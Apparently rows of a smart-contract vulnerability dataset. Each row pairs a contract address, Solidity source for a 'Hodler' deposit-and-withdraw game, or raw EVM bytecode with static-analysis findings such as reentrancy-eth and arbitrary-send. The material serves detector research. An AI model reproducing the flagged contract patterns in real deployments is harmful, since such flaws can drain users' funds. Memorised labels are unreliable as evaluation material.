ffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016115bf92919061328b565b602060405180830381600087803b1580156115d957600080fd5b505af11580156115ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116119190612f1c565b506001601060146101000a81548160ff021916908315150217905550610e104261163b91906135e8565b60118190555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611685611832565b73ffffffffffffffffffffffffffffffffffffffff16146116a557600080fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061172d601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b7c565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117fa611832565b73ffffffffffffffffffffffffffffffffffffffff161461181a57600080fd5b600781111561182857600080fd5b80600a8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a190613452565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561191a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191190613392565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119f891906134b2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6c90613432565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ae5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611adc90613352565b60405180910390fd5b60008111611b28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1f90613412565b60405180910390fd5b611b30610d20565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b9e5750611b6e610d20565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7d57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c475750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611c5057600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611cfb5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d515750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e0d57601060149054906101000a900460ff16611da5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9c90613492565b60405180910390fd5b426011541115611e0c576000611dba83610b7c565b9050611dec6064611dde6002683635c9adc5dea0000061251e90919063ffffffff16565b61259990919063ffffffff16565b611dff82846125e390919063ffffffff16565b1115611e0a57600080fd5b505b5b6000611e1830610b7c565b9050601060169054906101000a900460ff16158015611e855750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611e9d5750601060149054906101000a900460ff165b15611f7b576000811115611f6157611efc6064611eee6005611ee0601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b7c565b61251e90919063ffffffff16565b61259990919063ffffffff16565b811115611f5757611f546064611f466005611f38601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b7c565b61251e90919063ffffffff16565b61259990919063ffffffff16565b90505b611f6081612224565b5b60004790506000811115611f7957611f78476120bb565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120245750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061203b5750601060159054906101000a900460ff165b1561204557600090505b61205184848484612641565b50505050565b600083831115829061209f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120969190613330565b60405180910390fd5b50600083856120ae91906136c9565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61210b60028461259990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612136573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61218760028461259990919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121b2573d6000803e3d6000fd5b5050565b60006007548211156121fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121f490613372565b60405180910390fd5b600061220761266e565b905061221c818461259990919063ffffffff16565b915050919050565b6001601060166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612282577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122b05781602001602082028036833780820191505090505b50905030816000815181106122ee577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561239057600080fd5b505afa1580156123a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123c89190612d99565b81600181518110612402577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061246930600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461183a565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124cd9594939291906134cd565b600060405180830381600087803b1580156124e757600080fd5b505af11580156124fb573d6000803e3d6000fd5b50505050506000601060166101000a81548160ff02191690831515021790555050565b6000808314156125315760009050612593565b6000828461253f919061366f565b905082848261254e919061363e565b1461258e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612585906133d2565b60405180910390fd5b809150505b92915050565b60006125db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612699565b905092915050565b60008082846125f291906135e8565b905083811015612637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262e906133b2565b60405180910390fd5b8091505092915050565b8061264f5761264e6126fc565b5b61265a84848461273f565b806126685761266761290a565b5b50505050565b600080600061267b61291e565b91509150612692818361259990919063ffffffff16565b9250505090565b600080831182906126e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126d79190613330565b60405180910390fd5b50600083856126ef919061363e565b9050809150509392505050565b600060095414801561271057506000600a54145b1561271a5761273d565b600954600b81905550600a54600c8190555060006009819055506000600a819055505b565b60008060008060008061275187612980565b9550955095509550955095506127af86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129e790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061284485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125e390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061289081612a31565b61289a8483612aee565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128f791906134b2565b60405180910390a3505050505050505050565b600b54600981905550600c54600a81905550565b600080600060075490506000683635c9adc5dea000009050612954683635c9adc5dea0000060075461259990919063ffffffff16565b82101561297357600754683635c9adc5dea0000093509350505061297c565b81819350935050505b9091565b600080600080600080600080600061299c8a600954600a612b28565b92509250925060006129ac61266e565b905060008060006129bf8e878787612bbe565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a2983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612057565b905092915050565b6000612a3b61266e565b90506000612a52828461251e90919063ffffffff16565b9050612aa681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125e390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612b03826007546129e790919063ffffffff16565b600781905550612b1e816008546125e390919063ffffffff16565b6008819055505050565b600080600080612b546064612b46888a61251e90919063ffffffff16565b61259990919063ffffffff16565b90506000612b7e6064612b70888b61251e90919063ffffffff16565b61259990919063ffffffff16565b90506000612ba782612b99858c6129e790919063ffffffff16565b6129e790919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bd7858961251e90919063ffffffff16565b90506000612bee868961251e90919063ffffffff16565b90506000612c05878961251e90919063ffffffff16565b90506000612c2e82612c2085876129e790919063ffffffff16565b6129e790919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612c5a612c5584613567565b613542565b90508083825260208201905082856020860282011115612c7957600080fd5b60005b85811015612ca95781612c8f8882612cb3565b845260208401935060208301925050600181019050612c7c565b5050509392505050565b600081359050612cc281613b8e565b92915050565b600081519050612cd781613b8e565b92915050565b600081359050612cec81613ba5565b92915050565b600082601f830112612d0357600080fd5b8135612d13848260208601612c47565b91505092915050565b600081359050612d2b81613bbc565b92915050565b600081519050612d4081613bbc565b92915050565b600081359050612d5581613bd3565b92915050565b600081519050612d6a81613bd3565b92915050565b600060208284031215612d8257600080fd5b6000612d9084828501612cb3565b91505092915050565b600060208284031215612dab57600080fd5b6000612db984828501612cc8565b91505092915050565b600060208284031215612dd457600080fd5b6000612de284828501612cdd565b91505092915050565b60008060408385031215612dfe57600080fd5b6000612e0c85828601612cb3565b9250506020612e1d85828601612cb3565b9150509250929050565b600080600060608486031215612e3c57600080fd5b6000612e4a86828701612cb3565b9350506020612e5b86828701612cb3565b9250506040612e6c86828701612d46565b9150509250925092565b60008060408385031215612e8957600080fd5b6000612e9785828601612cb3565b9250506020612ea885828601612d46565b9150509250929050565b600060208284031215612ec457600080fd5b600082013567ffffffffffffffff811115612ede57600080fd5b612eea84828501612cf2565b91505092915050565b600060208284031215612f0557600080fd5b6000612f1384828501612d1c565b91505092915050565b600060208284031215612f2e57600080fd5b6000612f3c84828501612d31565b91505092915050565b600060208284031215612f5757600080fd5b6000612f6584828501612d46565b91505092915050565b600080600060608486031215612f8357600080fd5b6000612f9186828701612d5b565b9350506020612fa286828701612d5b565b9250506040612fb386828701612d5b565b9150509250925092565b6000612fc98383612fd5565b60208301905092915050565b612fde816136fd565b82525050565b612fed816136fd565b82525050565b6000612ffe826135a3565b61300881856135c6565b935061301383613593565b8060005b8381101561304457815161302b8882612fbd565b9750613036836135b9565b925050600181019050613017565b5085935050505092915050565b61305a81613721565b82525050565b61306981613764565b82525050565b600061307a826135ae565b61308481856135d7565b9350613094818560208601613776565b61309d816138b0565b840191505092915050565b60006130b56023836135d7565b91506130c0826138c1565b604082019050919050565b60006130d8602a836135d7565b91506130e382613910565b604082019050919050565b60006130fb6022836135d7565b91506131068261395f565b604082019050919050565b600061311e601b836135d7565b9150613129826139ae565b602082019050919050565b60006131416021836135d7565b915061314c826139d7565b604082019050919050565b60006131646020836135d7565b915061316f82613a26565b602082019050919050565b60006131876029836135d7565b915061319282613a4f565b604082019050919050565b60006131aa6025836135d7565b91506131b582613a9e565b604082019050919050565b60006131cd6024836135d7565b91506131d882613aed565b604082019050919050565b60006131f06017836135d7565b91506131fb82613b3c565b602082019050919050565b60006132136018836135d7565b915061321e82613b65565b602082019050919050565b6132328161374d565b82525050565b61324181613757565b82525050565b600060208201905061325c6000830184612fe4565b92915050565b60006040820190506132776000830185612fe4565b6132846020830184612fe4565b9392505050565b60006040820190506132a06000830185612fe4565b6132ad6020830184613229565b9392505050565b600060c0820190506132c96000830189612fe4565b6132d66020830188613229565b6132e36040830187613060565b6132f06060830186613060565b6132fd6080830185612fe4565b61330a60a0830184613229565b979650505050505050565b600060208201905061332a6000830184613051565b92915050565b6000602082019050818103600083015261334a818461306f565b905092915050565b6000602082019050818103600083015261336b816130a8565b9050919050565b6000602082019050818103600083015261338b816130cb565b9050919050565b600060208201905081810360008301526133ab816130ee565b9050919050565b600060208201905081810360008301526133cb81613111565b9050919050565b600060208201905081810360008301526133eb81613134565b9050919050565b6000602082019050818103600083015261340b81613157565b9050919050565b6000602082019050818103600083015261342b8161317a565b9050919050565b6000602082019050818103600083015261344b8161319d565b9050919050565b6000602082019050818103600083015261346b816131c0565b9050919050565b6000602082019050818103600083015261348b816131e3565b9050919050565b600060208201905081810360008301526134ab81613206565b9050919050565b60006020820190506134c76000830184613229565b92915050565b600060a0820190506134e26000830188613229565b6134ef6020830187613060565b81810360408301526135018186612ff3565b90506135106060830185612fe4565b61351d6080830184613229565b9695505050505050565b600060208201905061353c6000830184613238565b92915050565b600061354c61355d565b905061355882826137a9565b919050565b6000604051905090565b600067ffffffffffffffff82111561358257613581613881565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006135f38261374d565b91506135fe8361374d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561363357613632613823565b5b828201905092915050565b60006136498261374d565b91506136548361374d565b92508261366457613663613852565b5b828204905092915050565b600061367a8261374d565b91506136858361374d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156136be576136bd613823565b5b828202905092915050565b60006136d48261374d565b91506136df8361374d565b9250828210156136f2576136f1613823565b5b828203905092915050565b60006137088261372d565b9050919050565b600061371a8261372d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061376f8261374d565b9050919050565b60005b83811015613794578082015181840152602081019050613779565b838111156137a3576000848401525b50505050565b6137b2826138b0565b810181811067ffffffffffffffff821117156137d1576137d0613881565b5b80604052505050565b60006137e58261374d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561381857613817613823565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b613b97816136fd565b8114613ba257600080fd5b50565b613bae8161370f565b8114613bb957600080fd5b50565b613bc581613721565b8114613bd057600080fd5b50565b613bdc8161374d565b8114613be757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b52719ebe1a0dcec2b53b2f248499a94e0688ef6898f831f3d2d68bba865211864736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 362 |
0x372321bFA342664d78789ce0dc16F69E2377802c | /**
*Submitted for verification at Etherscan.io on 2021-02-16
*/
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.11;
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
function div(uint x, uint y) internal pure returns (uint z) {
require(y > 0);
z = x / y;
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
//rounds to zero if x*y < WAD / 2
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
//rounds to zero if x*y < RAY / 2
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
//rounds to zero if x*y < WAD / 2
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
//rounds to zero if x*y < RAY / 2
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
// This famous algorithm is called "exponentiation by squaring"
// and calculates x^n with x as fixed-point and n as regular unsigned.
//
// It's O(log n), instead of O(n) for naive repeated multiplication.
//
// These facts are why it works:
//
// If n is even, then x^n = (x^2)^(n/2).
// If n is odd, then x^n = x * x^(n-1),
// and applying the equation for even x gives
// x^n = x * (x^2)^((n-1) / 2).
//
// Also, EVM division is flooring and
// floor[(n-1) / 2] = floor[n / 2].
//
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
/* Remove tranfer functionality for hodler token
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
*/
}
contract HodlerERC20 is IERC20 {
using SafeMath for uint;
string public override name;
string public override symbol;
uint8 public override decimals;
uint public override totalSupply;
uint public totalWithdraw;
mapping(address => uint) public override balanceOf;
//mapping(address => mapping(address => uint)) public override allowance;
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _burnCurve(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalWithdraw = totalWithdraw.add(value);
emit Transfer(from, address(0), value);
}
/* Remove tranfer functionality for hodler token
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external override returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external override returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
*/
}
contract Hodler is HodlerERC20{
using SafeMath for uint256;
bool public initialized;
address public asset;
uint256 public start_amount;
uint256 public min_percent;
uint256 public max_percent;
bool public started;
uint256 public start_time;
bool public ended;
mapping(address => uint256) public end_time;
event Deposit(address indexed from, uint256 amount);
event Withdraw(address indexed from, uint256 asset_value, uint256 token_value, bool started);
uint256 private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'Hodler: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function initialize(address _asset, uint256 _amount, uint256 _min, uint256 _max) public {
require(initialized == false, "Hodler_initialize: already initialized");
initialized = true;
asset = _asset;
start_amount = _amount;
min_percent = _min;
max_percent = _max;
string memory _name = IERC20(asset).name();
name = append("Hodler ", _name);
string memory _symbol = IERC20(asset).symbol();
symbol = append("hodl", _symbol);
decimals = IERC20(asset).decimals();
}
function deposit(uint256 amount) public lock {
require(amount > 0, "Hodler_Deposit: zero asset deposit");
require(ended == false, "Hodler_Deposit: game ended");
require(started == false, "Hodler_Deposit: game started");
if (totalSupply.add(amount) >= start_amount) {
require(totalSupply.add(amount) < start_amount.mul(2), "Hodler_Deposit: final deposit out of range");
started = true;
start_time = block.timestamp;
}
TransferHelper.safeTransferFrom(asset, msg.sender, address(this), amount);
_mint(msg.sender, amount);
Deposit(msg.sender, amount);
}
function withdraw(uint256 token_amount) public lock {
require(token_amount > 0, "Hodler_withdraw: zero token withdraw");
require(ended == false, "Hodler_withdraw: game ended");
uint256 asset_withdraw;
if (started != true) {
asset_withdraw = token_amount;
_burn(msg.sender, token_amount);
} else {
asset_withdraw = calculateAssetOut(token_amount);
if (totalWithdraw.add(token_amount) == totalSupply) {
ended = true;
}
require(asset_withdraw > 0, "Hodler_withdraw: zero asset withdraw");
_burnCurve(msg.sender, token_amount);
if (balanceOf[msg.sender] == 0) {end_time[msg.sender] = block.timestamp;}
}
TransferHelper.safeTransfer(asset, msg.sender, asset_withdraw);
Withdraw(msg.sender, asset_withdraw, token_amount, started);
}
function calculateAssetOut(uint256 token_amount) public view returns (uint256) {
uint256 rounding = totalSupply;
/*
1. Calc perc_assets_out_new = 40 * totalWithdraw/totalSupply + 80
-> At min this is 40 * 0 + 80 = 80%
-> At max this is 40 * 1 + 80 = 120%
*/
uint256 difference = max_percent.sub(min_percent);
uint256 perc_assets_out_old = difference.mul(rounding).mul(totalWithdraw).div(totalSupply).add(min_percent.mul(rounding));
uint256 new_totalWithdraw = totalWithdraw.add(token_amount);
uint256 perc_assets_out_new = difference.mul(rounding).mul(new_totalWithdraw).div(totalSupply).add(min_percent.mul(rounding));
/*
2. Calc mean percent difference -> perc_new - perc_old / 2 + perc_old
-> at 120 perc_new and 100 perc_old = (120 - 100) / 2 + 100 = 110%
-> at 100 perc_new and 80 perc_old = (100 - 80) / 2 + 80 = 90%
*/
uint256 mean_perc = (perc_assets_out_new.sub(perc_assets_out_old)).div(2).add(perc_assets_out_old);
/*
3. Calc assets out -> token_amount * mean_perc_diff / 100
-> at mean_perc_diff 110% = 110 * token_amount / 100
*/
uint256 assets_out = mean_perc.mul(token_amount).div(rounding.mul(100));
if (new_totalWithdraw == totalSupply) {
IERC20 weth = IERC20(asset);
assets_out = weth.balanceOf(address(this));
}
return assets_out;
}
function append(string memory a, string memory b) internal pure returns (string memory) {
return string(abi.encodePacked(a, b));
}
}
contract HodlerFactory {
mapping(address => address[]) public hodler;
mapping(address => uint256) public index;
address[] public allHodlers;
event Create(address hodler, address asset);
function allHodlersLength() external view returns (uint) {
return allHodlers.length;
}
function createHodler(address asset) public returns (address) {
require(asset != address(0), "HodlerFactory: zero asset input");
uint256 _index = index[asset];
index[asset] += 1;
if (_index > 0) {
address previous = hodler[asset][_index - 1];
Hodler _previous = Hodler(previous);
bool started = _previous.started();
require(started == true, "HodlerFactory: previous hodler did not start");
}
Hodler _hodler = new Hodler();
_hodler.initialize(asset, 10**21, 80, 120);
hodler[asset].push(address(_hodler));
allHodlers.push(address(_hodler));
Create(address(_hodler), asset);
return address(_hodler);
}
} | 0x608060405234801561001057600080fd5b50600436106100575760003560e01c806318def8ef1461005c578063858af592146100b45780639b957b7414610122578063aca83eef14610140578063f6829228146101c4575b600080fd5b61009e6004803603602081101561007257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610252565b6040518082815260200191505060405180910390f35b6100e0600480360360208110156100ca57600080fd5b810190808035906020019092919050505061026a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61012a6102a6565b6040518082815260200191505060405180910390f35b6101826004803603602081101561015657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506102b3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610210600480360360408110156101da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107e1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60016020528060005260406000206000915090505481565b6002818154811061027757fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600280549050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610357576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f486f646c6572466163746f72793a207a65726f20617373657420696e7075740081525060200191505060405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060008111156105575760008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600183038154811061043f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600081905060008173ffffffffffffffffffffffffffffffffffffffff16631f2698ab6040518163ffffffff1660e01b815260040160206040518083038186803b1580156104b957600080fd5b505afa1580156104cd573d6000803e3d6000fd5b505050506040513d60208110156104e357600080fd5b810190808051906020019092919050505090506001151581151514610553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806129b2602c913960400191505060405180910390fd5b5050505b60006040516105659061082c565b604051809103906000f080158015610581573d6000803e3d6000fd5b5090508073ffffffffffffffffffffffffffffffffffffffff16634ec81af185683635c9adc5dea00000605060786040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001838152602001828152602001945050505050600060405180830381600087803b15801561062657600080fd5b505af115801561063a573d6000803e